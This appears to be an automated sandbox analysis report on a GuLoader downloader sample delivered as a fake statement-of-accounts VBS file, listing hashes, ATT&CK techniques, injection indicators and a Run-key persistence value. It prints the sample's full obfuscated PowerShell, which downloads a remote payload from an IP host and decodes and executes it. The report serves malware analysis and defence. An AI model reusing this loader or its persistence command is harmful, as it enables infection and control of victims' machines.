guloader | 8803e95a526b1711590210f2d6b892a7c315691e1ce163f12a1a50510bda4217

General

Target

STatEment-of-Accounts-15th-mARCH-2023_ACCOUNT-SUMMARY_REF_QUTYT_125KB_0000000000000000000.vbs
Size

31KB
MD5

58cba3aa60ed8857deb32d90c47660b1
SHA1

4cc7ea4c8fa38f54fe77185e6946ae71341c5bd3
SHA256

6ac3b02c068631d96b3fef677a7145b1d1d327af6f8b625f1536959bf69a1ab4
SHA512

3e718367014d6ffaefa2531f5fafc1cd3741d25b70298ce7caed2f83041b1ef4f947f90f53b827b3206d161fd19a6776c32f458b6e9e11128f2792640e14657a
SSDEEP

768:cuKPqBHxLXe21oomQdDPgl3nn4kFP7vdlrMpu6nq6S:FRxLu21oomQdcl3n4kFPH4DNS

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Windows\CurrentVersion\Run	ieinstal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Windows\CurrentVersion\Run\autogene = "%TORO% -w 1 $Datama=(Get-ItemProperty -Path 'HKCU:\\Leucorrhe\\').Dispaintob;%TORO% ($Datama)"	ieinstal.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1896	ieinstal.exe
1896	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1128	powershell.exe
1896	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1128 set thread context of 1896	1128	powershell.exe	32

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2024	powershell.exe
1128	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1128	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1896	ieinstal.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 2024	832	WScript.exe	28
PID 832 wrote to memory of 2024	832	WScript.exe	28
PID 832 wrote to memory of 2024	832	WScript.exe	28
PID 2024 wrote to memory of 1128	2024	powershell.exe	31
PID 2024 wrote to memory of 1128	2024	powershell.exe	31
PID 2024 wrote to memory of 1128	2024	powershell.exe	31
PID 2024 wrote to memory of 1128	2024	powershell.exe	31
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32
PID 1128 wrote to memory of 1896	1128	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\STatEment-of-Accounts-15th-mARCH-2023_ACCOUNT-SUMMARY_REF_QUTYT_125KB_0000000000000000000.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Photo9 ([String]$Prec){For($Velsesloka=1; $Velsesloka -lt $Prec.Length-1; $Velsesloka+=(1+1)){$alvorso=$alvorso+$Prec.Substring($Velsesloka, 1)};$alvorso;}$Overcarefu=Photo9 ' h tftmpS: /b/N9 1R.S2 4 4 .O1D9P7A.O9B/atVr uUmAmLpT/ R i c icn i nFeOeF.Es nRpG ';$alvorso01=Photo9 'siTewxH ';$Kabareter = Photo9 'T\ sCy s wRoIwU6 4G\SWPion dMoBwPsLPEo w e r S h eSlBl \ vk1G.S0U\ pSo wbeIr sphBe l l .ReAx eB ';.($alvorso01) (Photo9 'O$ CPeMlEe rPiSaVcds 2W=S$ eUn vR:NwEi n d iBr ') ;.($alvorso01) (Photo9 'S$TKMaFbQaSrSePtQeZr =C$TC e l e r iPa cas 2 +t$ K a bTaDrSe tpeRr ') ;.($alvorso01) (Photo9 'e$ BGrPnDeSoMp R=U R(P(PgTwTmpi SwLi n 3 2N_ pSr oMcbe s sR S- F PPrKoBcReus s ITds= $u{ PVIBD } ) .LC o mAmTaSn dSLQiGn eF)s I-Ds p lUi t S[Rc hTa rD] 3K4 ');.($alvorso01) (Photo9 'D$ pAu kLlT = r$SB r nReUo p [S$ B rFn eBoCpT. c oTuTn tf-h2 ] ');.($alvorso01) (Photo9 ' $ D i cSyJcBlMiOeCs cO=U(kTHess tc-UP aTt hA H$ KUa b aPrDeBtSeArP)P r-AA nFdA (V[DIAnMtiPFttrs]T:V: sGiUzRe S-BeAqU 8 ) ') ;if ($Dicycliesc) {.$Kabareter $pukl;} else {;$alvorso00=Photo9 'SSStIa rPt - BBi t sKTCrAa nUsWfTeSr -KSBoSuKrSc eT $SO vfe rCc a r eDfKuA S-CD e s tNiPnOaLtSiPo n L$FC eHl e rRiHaPcSs 2 ';.($alvorso01) (Photo9 'F$SC e lGe r i a cDs 2 =D$Te nOvT:VabpLp dDaKtPa ') ;.($alvorso01) (Photo9 ' I mOp o rJtI-SMUo dMu lSe CB i tTsOTSr a nAsDf eCrH ') ;$Celeriacs2=$Celeriacs2+'\Sinterin.Sli';while (-not $Tiercels) {.($alvorso01) (Photo9 'A$ TPiSeIrIcReRl s =a(STIeDsntO- P aPt hF $UC eDlSeCr iJa casd2 )D ') ;.($alvorso01) $alvorso00;.($alvorso01) (Photo9 ' S tba r tB- SFlHeCeNpU P5R ');}.($alvorso01) (Photo9 'I$FPPhUo tBoP S=S cG eftE- CIo nItDeTn tS R$PC ePl eKr i afcnsS2 ');.($alvorso01) (Photo9 ' $ SKaTcMhIaS P= S[ASWySsst e mG.DC oDnMvBe rItr]F: :PFIr o maBCaOsBeO6F4 SVt r iTnCg ( $ PShUoTt o )V ');.($alvorso01) (Photo9 'F$SaFlPv o rPsBoa2J =V [ SFyKs tUeLmD.ST e xRtB. EInHcBo d iPnSgP]B: :EALSHCaI IF. GIe t S trr i n g (T$sS aEc h a ) ');.($alvorso01) (Photo9 'M$ I m pBrKo vRi sDe = $FaBl vSoArss oA2L. s uPbTs tLr iBn gu( 1T8D5 0 2S7 ,r1A8 9 4O5 )F ');.($alvorso01) $Improvise;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Photo9 ([String]$Prec){For($Velsesloka=1; $Velsesloka -lt $Prec.Length-1; $Velsesloka+=(1+1)){$alvorso=$alvorso+$Prec.Substring($Velsesloka, 1)};$alvorso;}$Overcarefu=Photo9 ' h tftmpS: /b/N9 1R.S2 4 4 .O1D9P7A.O9B/atVr uUmAmLpT/ R i c icn i nFeOeF.Es nRpG ';$alvorso01=Photo9 'siTewxH ';$Kabareter = Photo9 'T\ sCy s wRoIwU6 4G\SWPion dMoBwPsLPEo w e r S h eSlBl \ vk1G.S0U\ pSo wbeIr sphBe l l .ReAx eB ';.($alvorso01) (Photo9 'O$ CPeMlEe rPiSaVcds 2W=S$ eUn vR:NwEi n d iBr ') ;.($alvorso01) (Photo9 'S$TKMaFbQaSrSePtQeZr =C$TC e l e r iPa cas 2 +t$ K a bTaDrSe tpeRr ') ;.($alvorso01) (Photo9 'e$ BGrPnDeSoMp R=U R(P(PgTwTmpi SwLi n 3 2N_ pSr oMcbe s sR S- F PPrKoBcReus s ITds= $u{ PVIBD } ) .LC o mAmTaSn dSLQiGn eF)s I-Ds p lUi t S[Rc hTa rD] 3K4 ');.($alvorso01) (Photo9 'D$ pAu kLlT = r$SB r nReUo p [S$ B rFn eBoCpT. c oTuTn tf-h2 ] ');.($alvorso01) (Photo9 ' $ D i cSyJcBlMiOeCs cO=U(kTHess tc-UP aTt hA H$ KUa b aPrDeBtSeArP)P r-AA nFdA (V[DIAnMtiPFttrs]T:V: sGiUzRe S-BeAqU 8 ) ') ;if ($Dicycliesc) {.$Kabareter $pukl;} else {;$alvorso00=Photo9 'SSStIa rPt - BBi t sKTCrAa nUsWfTeSr -KSBoSuKrSc eT $SO vfe rCc a r eDfKuA S-CD e s tNiPnOaLtSiPo n L$FC eHl e rRiHaPcSs 2 ';.($alvorso01) (Photo9 'F$SC e lGe r i a cDs 2 =D$Te nOvT:VabpLp dDaKtPa ') ;.($alvorso01) (Photo9 ' I mOp o rJtI-SMUo dMu lSe CB i tTsOTSr a nAsDf eCrH ') ;$Celeriacs2=$Celeriacs2+'\Sinterin.Sli';while (-not $Tiercels) {.($alvorso01) (Photo9 'A$ TPiSeIrIcReRl s =a(STIeDsntO- P aPt hF $UC eDlSeCr iJa casd2 )D ') ;.($alvorso01) $alvorso00;.($alvorso01) (Photo9 ' S tba r tB- SFlHeCeNpU P5R ');}.($alvorso01) (Photo9 'I$FPPhUo tBoP S=S cG eftE- CIo nItDeTn tS R$PC ePl eKr i afcnsS2 ');.($alvorso01) (Photo9 ' $ SKaTcMhIaS P= S[ASWySsst e mG.DC oDnMvBe rItr]F: :PFIr o maBCaOsBeO6F4 SVt r iTnCg ( $ PShUoTt o )V ');.($alvorso01) (Photo9 'F$SaFlPv o rPsBoa2J =V [ SFyKs tUeLmD.ST e xRtB. EInHcBo d iPnSgP]B: :EALSHCaI IF. GIe t S trr i n g (T$sS aEc h a ) ');.($alvorso01) (Photo9 'M$ I m pBrKo vRi sDe = $FaBl vSoArss oA2L. s uPbTs tLr iBn gu( 1T8D5 0 2S7 ,r1A8 9 4O5 )F ');.($alvorso01) $Improvise;}"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:1896

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\lowegs.dat

Filesize
184B

MD5
3b40bacc965c936504f4371dd98ae1c7

SHA1
25c251c0f3e08b6bf0d6fe59e0d7ec36469f2a2b

SHA256
e21370da4eaea16159591104112eb3017a01d3d22d56909d7dc913b37af92407

SHA512
0f27f1a563fbb4b440c13f151661e57a3f43fbc3ae6dd2b7331727027c0f0a34be213487f770349640cce758ed3b859ac01adcef3e291fc7860d6063df066fee

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6PW2Y2KVZ0QPGGMU909Y.temp

Filesize
7KB

MD5
5501abb389dbe2cc4e437f8b4f5e37a3

SHA1
890333431c66b391e2a485aabf5b5e74511f711d

SHA256
505e6d826a6ba27260c244043707bd991e061f84d2d327ccab1d063428260169

SHA512
088e9ada93ae24a8b1e7d9860f8499f862318f438401a05653eec4f474d29a0a8679b9a5c09c104f148eef5a95ca4fb0f8bddeef5992ac8f712eddcecacb1cd2

Download Submit
memory/1128-80-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1128-66-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1128-82-0x00000000060D0000-0x000000000989F000-memory.dmp

Filesize
55.8MB

Download
memory/1128-81-0x0000000005200000-0x0000000005201000-memory.dmp

Filesize
4KB

Download
memory/1896-88-0x0000000000F10000-0x00000000046DF000-memory.dmp

Filesize
55.8MB

Download
memory/1896-87-0x0000000000F10000-0x00000000046DF000-memory.dmp

Filesize
55.8MB

Download
memory/1896-86-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1896-85-0x0000000000F10000-0x00000000046DF000-memory.dmp

Filesize
55.8MB

Download
memory/2024-63-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-79-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-78-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-77-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-76-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-58-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/2024-62-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-61-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-60-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2024-59-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download

Analysis

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